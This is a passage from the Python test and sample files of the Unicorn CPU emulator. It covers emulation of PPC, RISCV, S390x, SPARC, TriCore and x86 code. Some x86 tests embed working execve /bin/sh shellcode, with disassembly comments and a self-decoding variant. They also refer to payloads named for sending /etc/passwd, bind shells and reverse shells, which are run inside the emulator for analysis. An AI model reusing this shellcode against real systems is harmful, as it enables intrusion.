print(">>> SYS_EXECV filename=%s" % filename)
elif eax == 63: # sys_dup2
fd_chains.link_fd(ecx, ebx)
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
elif eax == 102: # sys_socketcall
# ref: http://www.skyfree.org/linux/kernel_network/socket.html
call = uc.reg_read(UC_X86_REG_EBX)
args = uc.reg_read(UC_X86_REG_ECX)
SOCKETCALL_NUM_ARGS = {
1: 3, # sys_socket
2: 3, # sys_bind
3: 3, # sys_connect
4: 2, # sys_listen
5: 3, # sys_accept
9: 4, # sys_send
11: 4, # sys_receive
13: 2 # sys_shutdown
}
buf = uc.mem_read(args, SOCKETCALL_NUM_ARGS[call] * SIZE_REG)
args = struct.unpack("<" + "I" * SOCKETCALL_NUM_ARGS[call], buf)
# int sys_socketcall(int call, unsigned long *args)
if call == 1: # sys_socket
# err = sys_socket(a0,a1,a[2])
# int sys_socket(int family, int type, int protocol)
family = args[0]
sock_type = args[1]
protocol = args[2]
dummy_fd = id_gen.next()
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
if family == 2: # AF_INET
msg = "create socket (%s, %s) with fd(%d)" % (ADDR_FAMILY[family], SOCKET_TYPES[sock_type], dummy_fd)
fd_chains.create_chain(dummy_fd)
fd_chains.add_log(dummy_fd, msg)
print_sockcall(msg)
elif family == 3: # AF_INET6
pass
elif call == 2: # sys_bind
fd = args[0]
umyaddr = args[1]
addrlen = args[2]
sock_addr = uc.mem_read(umyaddr, addrlen)
msg = "fd(%d) bind to %s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 3: # sys_connect
# err = sys_connect(a0, (struct sockaddr *)a1, a[2])
# int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
fd = args[0]
uservaddr = args[1]
addrlen = args[2]
sock_addr = uc.mem_read(uservaddr, addrlen)
msg = "fd(%d) connect to %s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 4: # sys_listen
fd = args[0]
backlog = args[1]
msg = "fd(%d) listened with backlog=%d" % (fd, backlog)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 5: # sys_accept
fd = args[0]
upeer_sockaddr = args[1]
upeer_addrlen = args[2]
# print(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d" % (upeer_sockaddr, upeer_addrlen))
if upeer_sockaddr == 0x0:
print_sockcall("fd(%d) accept client" % fd)
else:
upeer_len, = struct.unpack("<I", uc.mem_read(upeer_addrlen, 4))
sock_addr = uc.mem_read(upeer_sockaddr, upeer_len)
msg = "fd(%d) accept client with upeer=%s" % (fd, parse_sock_address(sock_addr))
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 9: # sys_send
fd = args[0]
buff = args[1]
length = args[2]
flags = args[3]
buf = uc.mem_read(buff, length)
msg = "fd(%d) send data=%s" % (fd, buf)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 11: # sys_receive
fd = args[0]
ubuf = args[1]
size = args[2]
flags = args[3]
msg = "fd(%d) is gonna receive data with size=%d flags=%d" % (fd, size, flags)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
elif call == 13: # sys_shutdown
fd = args[0]
how = args[1]
msg = "fd(%d) is shutted down because of %d" % (fd, how)
fd_chains.add_log(fd, msg)
print_sockcall(msg)
@pytest.mark.parametrize("code", [X86_SEND_ETCPASSWD, X86_BIND_TCP, X86_REVERSE_TCP, X86_REVERSE_TCP_2])
# Test X86 32 bit
def test_i386(code):
global fd_chains
fd_chains.clean()
print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
# tracing all instructions with customized callback
# mu.hook_add(UC_HOOK_CODE, hook_code)
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
# now print out some registers
print(">>> Emulation done")
except UcError as e:
print("ERROR: %s" % e)
fd_chains.print_report()
# Globals
fd_chains = LogChain()
id_gen = IdGenerator()
if __name__ == '__main__':
test_i386(X86_SEND_ETCPASSWD)
test_i386(X86_BIND_TCP)
test_i386(X86_REVERSE_TCP)
test_i386(X86_REVERSE_TCP_2)

View File

@@ -0,0 +1,62 @@
#!/usr/bin/env python
# Sample code for PPC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.ppc_const import *
# code to be emulated
PPC_CODE = b"\x7F\x46\x1A\x14" # add r26, r6, r3
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test PPC
def test_ppc():
print("Emulate PPC code")
try:
# Initialize emulator in PPC EB mode
mu = Uc(UC_ARCH_PPC, UC_MODE_PPC32 | UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, PPC_CODE)
# initialize machine registers
mu.reg_write(UC_PPC_REG_3, 0x1234)
mu.reg_write(UC_PPC_REG_6, 0x6789)
mu.reg_write(UC_PPC_REG_26, 0x5555)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(PPC_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r26 = mu.reg_read(UC_PPC_REG_26)
print(">>> r26 = 0x%x" % r26)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_ppc()

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python
# Sample code for RISCV of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.riscv_const import *
'''
$ cstool riscv64 1305100093850502
0 13 05 10 00 addi a0, zero, 1
4 93 85 05 02 addi a1, a1, 0x20
'''
RISCV_CODE = b"\x13\x05\x10\x00\x93\x85\x05\x02"
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test RISCV
def test_riscv():
print("Emulate RISCV code")
try:
# Initialize emulator in RISCV32 mode
mu = Uc(UC_ARCH_RISCV, UC_MODE_RISCV32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, RISCV_CODE)
# initialize machine registers
mu.reg_write(UC_RISCV_REG_A0, 0x1234)
mu.reg_write(UC_RISCV_REG_A1, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(RISCV_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
a0 = mu.reg_read(UC_RISCV_REG_A0)
a1 = mu.reg_read(UC_RISCV_REG_A1)
print(">>> A0 = 0x%x" % a0)
print(">>> A1 = 0x%x" % a1)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_riscv()

View File

@@ -0,0 +1,62 @@
#!/usr/bin/env python
# Sample code for S390x of Unicorn.
from unicorn import *
from unicorn.s390x_const import *
# lr %r2, %r3
S390X_CODE = b"\x18\x23"
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test RISCV
def test_s390x():
print("Emulate S390X code")
try:
# Initialize emulator in big endian mode
mu = Uc(UC_ARCH_S390X, UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, S390X_CODE)
# initialize machine registers
mu.reg_write(UC_S390X_REG_R3, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(S390X_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r2 = mu.reg_read(UC_S390X_REG_R2)
r3 = mu.reg_read(UC_S390X_REG_R3)
print(">>> R2 = 0x%x" % r2)
print(">>> R3 = 0x%x" % r3)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_s390x()

View File

@@ -0,0 +1,188 @@
#!/usr/bin/env python
# Sample code for X86 of Unicorn.
# Nguyen Anh Quynh <aquynh@gmail.com>
# KaiJern Lau <kj@theshepherdlab.io>
from __future__ import print_function
import pytest
from unicorn import *
from unicorn.x86_const import *
# Original shellcode from this example.
# X86_CODE32 = b"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"
# Linux/x86 execve /bin/sh shellcode 23 bytes, from http://shell-storm.org/shellcode/files/shellcode-827.php
# 0: 31 c0 xor eax,eax
# 2: 50 push eax
# 3: 68 2f 2f 73 68 push 0x68732f2f
# 8: 68 2f 62 69 6e push 0x6e69622f
# d: 89 e3 mov ebx,esp
# f: 50 push eax
# 10: 53 push ebx
# 11: 89 e1 mov ecx,esp
# 13: b0 0b mov al,0xb
# 15: cd 80 int 0x80
X86_CODE32 = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
X86_CODE32_SELF = b"\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41"
# Linux/x86 64bit execve /bin/sh shellcode
# 0: 48 31 ff xor rdi,rdi
# 3: 57 push rdi
# 4: 57 push rdi
# 5: 5e pop rsi
# 6: 5a pop rdx
# 7: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
# e: 2f 73 68
# 11: 48 c1 ef 08 shr rdi,0x8
# 15: 57 push rdi
# 16: 54 push rsp
# 17: 5f pop rdi
# 18: 6a 3b push 0x3b
# 1a: 58 pop rax
# 1b: 0f 05 syscall
X86_CODE64 = b"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
# memory address where emulation starts
ADDRESS = 0x1000000
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# read this instruction code from memory
tmp = uc.mem_read(address, size)
print("*** PC = %x *** :" % (address), end="")
for i in tmp:
print(" %02x" % i, end="")
print("")
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
def read_string(uc, address):
ret = ""
c = uc.mem_read(address, 1)[0]
read_bytes = 1
while c != 0x0:
ret += chr(c)
c = uc.mem_read(address + read_bytes, 1)[0]
read_bytes += 1
return ret
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
# only handle Linux syscall
if intno != 0x80:
print("got interrupt %x ???" % intno)
uc.emu_stop()
return
eax = uc.reg_read(UC_X86_REG_EAX)
eip = uc.reg_read(UC_X86_REG_EIP)
if eax == 1: # sys_exit
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" % (eip, intno, eax))
uc.emu_stop()
elif eax == 4: # sys_write
# ECX = buffer address
ecx = uc.reg_read(UC_X86_REG_ECX)
# EDX = buffer size
edx = uc.reg_read(UC_X86_REG_EDX)
try:
buf = uc.mem_read(ecx, edx)
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = " \
% (eip, intno, ecx, edx), end="")
for i in buf:
print("%c" % i, end="")
print("")
except UcError as e:
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = <unknown>\n" \
% (eip, intno, ecx, edx))
elif eax == 11: # sys_write
ebx = uc.reg_read(UC_X86_REG_EBX)
filename = read_string(uc, ebx)
print(">>> SYS_EXECV filename=%s" % filename)
else:
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" % (eip, intno, eax))
def hook_syscall32(mu, user_data):
eax = mu.reg_read(UC_X86_REG_EAX)
print(">>> got SYSCALL with EAX = 0x%x" % (eax))
mu.emu_stop()
def hook_syscall64(mu, user_data):
rax = mu.reg_read(UC_X86_REG_RAX)
rdi = mu.reg_read(UC_X86_REG_RDI)
print(">>> got SYSCALL with RAX = %d" % (rax))
if rax == 59: # sys_execve
filename = read_string(mu, rdi)
print(">>> SYS_EXECV filename=%s" % filename)
else:
rip = mu.reg_read(UC_X86_REG_RIP)
print(">>> Syscall Found at 0x%x: , RAX = 0x%x" % (rip, rax))
mu.emu_stop()
@pytest.mark.parametrize("mode,code",
[(UC_MODE_32, X86_CODE32_SELF), (UC_MODE_32, X86_CODE32), (UC_MODE_64, X86_CODE64)])
# Test X86 32 bit
def test_i386(mode, code):
if mode == UC_MODE_32:
print("Emulate x86_32 code")
elif mode == UC_MODE_64:
print("Emulate x86_64 code")
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, mode)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
if mode == UC_MODE_32:
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# handle SYSCALL
mu.hook_add(UC_HOOK_INSN, hook_syscall32, None, 1, 0, UC_X86_INS_SYSCALL)
elif mode == UC_MODE_64:
mu.hook_add(UC_HOOK_INSN, hook_syscall64, None, 1, 0, UC_X86_INS_SYSCALL)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
# now print out some registers
print(">>> Emulation done")
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_i386(UC_MODE_32, X86_CODE32_SELF)
print("=" * 20)
test_i386(UC_MODE_32, X86_CODE32)
print("=" * 20)
test_i386(UC_MODE_64, X86_CODE64)

View File

@@ -0,0 +1,63 @@
#!/usr/bin/env python
# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.sparc_const import *
# code to be emulated
SPARC_CODE = b"\x86\x00\x40\x02" # add %g1, %g2, %g3;
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test SPARC
def test_sparc():
print("Emulate SPARC code")
try:
# Initialize emulator in SPARC EB mode
mu = Uc(UC_ARCH_SPARC, UC_MODE_SPARC32 | UC_MODE_BIG_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, SPARC_CODE)
# initialize machine registers
mu.reg_write(UC_SPARC_REG_G1, 0x1230)
mu.reg_write(UC_SPARC_REG_G2, 0x6789)
mu.reg_write(UC_SPARC_REG_G3, 0x5555)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(SPARC_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
g3 = mu.reg_read(UC_SPARC_REG_G3)
print(">>> G3 = 0x%x" % g3)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_sparc()

View File

@@ -0,0 +1,61 @@
#!/usr/bin/env python
"""
Created for Unicorn Engine by Eric Poole <eric.poole@aptiv.com>, 2022
Copyright 2022 Aptiv
"""
from __future__ import print_function
from unicorn import *
from unicorn.tricore_const import *
# code to be emulated
TRICORE_CODE = b"\x82\x11\xbb\x00\x00\x08" # mov d0, #0x1; mov.u d0, #0x8000
# memory address where emulation starts
ADDRESS = 0x10000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# Test TriCore
def test_tricore():
print("Emulate TriCore code")
try:
# Initialize emulator in TriCore mode
mu = Uc(UC_ARCH_TRICORE, UC_MODE_LITTLE_ENDIAN)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, TRICORE_CODE)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing one instruction at ADDRESS with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(TRICORE_CODE))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r0 = mu.reg_read(UC_TRICORE_REG_D0)
print(">>> D0 = 0x%x" % r0)
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_tricore()

700
bindings/python/tests/test_x86.py Executable file
View File

@@ -0,0 +1,700 @@
#!/usr/bin/env python
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
from __future__ import print_function
import pickle
from unicorn import *
from unicorn.x86_const import *
X86_CODE32 = b"\x41\x4a\x66\x0f\xef\xc1" # INC ecx; DEC edx; PXOR xmm0, xmm1
X86_CODE32_LOOP = b"\x41\x4a\xeb\xfe" # INC ecx; DEC edx; JMP self-loop
X86_CODE32_JUMP = b"\xeb\x02\x90\x90\x90\x90\x90\x90" # jmp 4; nop; nop; nop; nop; nop; nop
X86_CODE32_JMP_INVALID = b"\xe9\xe9\xee\xee\xee\x41\x4a" # JMP outside; INC ecx; DEC edx
X86_CODE32_MEM_READ = b"\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx
X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; DEC edx
X86_CODE64 = b"\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
X86_CODE32_INOUT = b"\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx
X86_CODE64_SYSCALL = b'\x0f\x05' # SYSCALL
X86_CODE16 = b'\x00\x00' # add byte ptr [bx + si], al
X86_MMIO_CODE = b"\x89\x0d\x04\x00\x02\x00\x8b\x0d\x04\x00\x02\x00" # mov [0x20004], ecx; mov ecx, [0x20004]
# memory address where emulation starts
ADDRESS = 0x1000000
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
eflags = uc.reg_read(UC_X86_REG_EFLAGS)
print(">>> --- EFLAGS is 0x%x" % eflags)
def hook_code64(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
rip = uc.reg_read(UC_X86_REG_RIP)
print(">>> RIP is 0x%x" % rip)
# callback for tracing invalid memory access (READ or WRITE)
def hook_mem_invalid(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE_UNMAPPED:
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
% (address, size, value))
# map this memory in with 2MB in size
uc.mem_map(0xaaaa0000, 2 * 1024 * 1024)
# return True to indicate we want to continue emulation
return True
else:
# return False to indicate we want to stop emulation
return False
# callback for tracing memory access (READ or WRITE)
def hook_mem_access(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE:
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
% (address, size, value))
else: # READ
print(">>> Memory is being READ at 0x%x, data size = %u" \
% (address, size))
# callback for IN instruction
def hook_in(uc, port, size, user_data):
eip = uc.reg_read(UC_X86_REG_EIP)
print("--- reading from port 0x%x, size: %u, address: 0x%x" % (port, size, eip))
if size == 1:
# read 1 byte to AL
return 0xf1
if size == 2:
# read 2 byte to AX
return 0xf2
if size == 4:
# read 4 byte to EAX
return 0xf4
# we should never reach here
return 0
# callback for OUT instruction
def hook_out(uc, port, size, value, user_data):
eip = uc.reg_read(UC_X86_REG_EIP)
print("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" % (port, size, value, eip))
# confirm that value is indeed the value of AL/AX/EAX
v = 0
if size == 1:
# read 1 byte in AL
v = uc.reg_read(UC_X86_REG_AL)
if size == 2:
# read 2 bytes in AX
v = uc.reg_read(UC_X86_REG_AX)
if size == 4:
# read 4 bytes in EAX
v = uc.reg_read(UC_X86_REG_EAX)
print("--- register value = 0x%x" % v)
# Test X86 32 bit
def test_i386():
print("Emulate i386 code")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
mu.reg_write(UC_X86_REG_XMM0, 0x000102030405060708090a0b0c0d0e0f)
mu.reg_write(UC_X86_REG_XMM1, 0x00102030405060708090a0b0c0d0e0f0)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
r_xmm0 = mu.reg_read(UC_X86_REG_XMM0)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
print(">>> XMM0 = 0x%.32x" % r_xmm0)
# read from memory
tmp = mu.mem_read(ADDRESS, 4)
print(">>> Read 4 bytes from [0x%x] = 0x" % (ADDRESS), end="")
for i in reversed(tmp):
print("%x" % (i), end="")
print("")
except UcError as e:
print("ERROR: %s" % e)
def test_i386_map_ptr():
print("Emulate i386 code - use uc_mem_map_ptr()")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32), 2 * UC_SECOND_SCALE)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
# read from memory
tmp = mu.mem_read(ADDRESS, 4)
print(">>> Read 4 bytes from [0x%x] = 0x" % (ADDRESS), end="")
for i in reversed(tmp):
print("%x" % (i), end="")
print("")
except UcError as e:
print("ERROR: %s" % e)
def test_i386_invalid_mem_read():
print("Emulate i386 code that read from invalid memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_MEM_READ)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_READ))
except UcError as e:
print("Failed on uc_emu_start() with error returned 6: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
except UcError as e:
print("ERROR: %s" % e)
def test_i386_jump():
print("Emulate i386 code with jump")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_JUMP)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block, begin=ADDRESS, end=ADDRESS)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JUMP))
except UcError as e:
print("ERROR: %s" % e)
print(">>> Emulation done. Below is the CPU context")
except UcError as e:
print("ERROR: %s" % e)
def test_i386_invalid_mem_write():
print("Emulate i386 code that write to invalid memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# intercept invalid memory events
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
# read from memory
print(">>> Read 4 bytes from [0x%x] = 0x" % (0xaaaaaaaa), end="")
tmp = mu.mem_read(0xaaaaaaaa, 4)
for i in reversed(tmp):
if i != 0:
print("%x" % i, end="")
print("")
try:
tmp = mu.mem_read(0xffffffaa, 4)
print(">>> Read 4 bytes from [0x%x] = 0x" % (0xffffffaa), end="")
for i in reversed(tmp):
print("%x" % i, end="")
print("")
except UcError as e:
print(">>> Failed to read 4 bytes from [0xffffffaa]")
except UcError as e:
print("ERROR: %s" % e)
